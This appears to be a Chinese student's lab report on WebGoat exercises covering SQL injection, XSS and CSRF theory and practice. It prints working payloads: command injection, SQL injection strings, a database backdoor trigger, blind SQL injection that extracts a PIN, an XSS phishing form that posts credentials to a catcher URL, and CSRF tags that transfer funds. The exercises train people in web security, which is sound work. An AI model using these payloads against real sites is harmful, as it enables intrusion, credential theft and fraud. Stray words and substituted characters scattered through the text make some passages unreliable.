Exp9 Web安全基础 20164302 王一帆

1 基础问题回答

1.SQL注入攻击原理,如何防护?javascript

原理:java

       经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。SQL注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行SQL语句以及进行其余方式的攻击,没有对用户输入的数据进行过滤消毒是攻击成功的主要缘由。git

防护:github

(1)对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;web

(2)不要使用管理员权限的数据库链接,为每一个应用使用单独的权限有限的数据库链接;数据库

(3)应用的异常信息应该给出尽量少的提示,最好使用自定义的错误信息对原始错误信息进行包装。浏览器

2.XSS攻击的原理,如何防护?安全

原理:服务器

  XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它容许恶意web用户将代码植入到提供给其它用户使用的页面中。cookie

防护:

(1)统XSS防护多采用特征匹配方式,在全部提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法通常会须要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击;

(2)检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。

3.CSRF攻击原理,如何防护?

原理:

  CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。

防护:

(1)对于web站点,将持久化的受权方法(例如cookie或者HTTP受权)切换为瞬时的受权方法(在每一个form中提供隐藏field),这将帮助网站防止这些攻击。一种相似的方式是在form中包含秘密信息、用户指定的代号做为cookie以外的验证;

(2)改良站内 API 的设计。对于发布帖子这一类建立资源的操做,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。

2 实践过程记录

2.1 webgoat下载

下载地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1

下载完成后,将文件放到主目录下。

打开终端,输入 java -jar webgoat-container-7.0.1-war-exec.jar 

在浏览器中打开 http://localhost:8080/WebGoat ,输入默认的用户名和密码进行登陆

2.2 SQL注入攻击(Injection Flaws)

2.2.1命令注入(Command Injection)

选择 Injection Flaws -> Command Injection

右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"

点击 view,看到网络端口使用状况和 IP 地址,攻击成功

2.2.2 数字型SQL注入(Numeric SQL Injection)

选择 Injection Flaws -> Numeric SQL Injection

右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1

点击 Go,能够看到攻击成功

2.2.3 日志欺骗(Log Spoofing)

选择 Injection Flaws -> Log Spoofing

在User Name中输入dgx%0d%0aLogin Succeeded for username: admin利用0D%(回车)和%0A(换行)让其在日志中显示两行

输入任意密码后点击 Login,成功将用户名追加到日志文件中。

 

2.2.4字符串注入(String SQL Injection)

选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改成20

以用户Neville登陆,输入密码Smith' or '1' = '1

攻击成功,获得全部人员列表

2.2.5 数据库后门(Database Backdoors)

选择 Injection Flaws -> Database Backdoors

输入101,获得该用户的信息

输入注入语句101; update employee set salary=10000

输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid设置触发器

2.2.6 盲数字SQL注入(Blind Numeric SQL Injection)

服务端页面返回的信息有两种:账号有效,帐号无效,所以没法简单地查询到账号的 PIN 数值。但能够利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;若是返回了账号的信息,页面将提示账号有效,不然提示无效。

输入101 AND 1=1 页面返回账号有效

输入101 AND 1=2 第二个条件不成立,页面返回账号无效

输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );页面返回账号无效,说明PIN<=10000

不断调整数值,能够缩小判断范围,并最终判断出PIN 数值的大小。最终以下语句返回账号有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

2.3XXS攻击

2.3.1跨站脚本钓鱼攻击(Phishing with XSS)

使用XSS和HTML插入制做一个钓鱼网站,将其输入在search框中,代码以下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR

输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码

2.3.2 存储型XSS攻击(Stored XSS Attacks)

在title中任意输入字符,留言板中输入<script>alert("I am 20164302. You've been attacked!!!");</script>

2.3.3 反射型XSS攻击(Reflected XSS Attacks)

在Enter your three digit access code:中输入<script>alert("I am 20164302");</script>点击Purchase,成功显示警告框,内容为咱们script脚本指定的内容。

2.4CSRF攻击

2.4.1绕过 CSRF 确认( CSRF Prompt By‐Pass)

查看页面右侧Parameters中的src和menu值分别为274和900

查看页面右侧Parameters中的src和menu值,分别为2078372和900

在title中输入任何参数,message框中输入

<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>

以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。能够从左侧的任务栏看到任务已完成

2.4.2 跨站请求伪造(Cross Site Request Forgery (CSRF))

查看Parameters中的src和menu值,分别为312和900

在title中输入任何参数,message框中输入

<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />

点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)

3 实验感悟

       这是课程的最后一次实验,实验内容并不算太复杂,在webgoat上完成,还会有指导,经过实际操做,对SQL、XSS、CSRF有了进一步的了解。本身在实际动手操做方面一直比较薄弱,能够说这门课程对本身来讲是一次磨炼,收获了很多。

相关文章
相关标签/搜索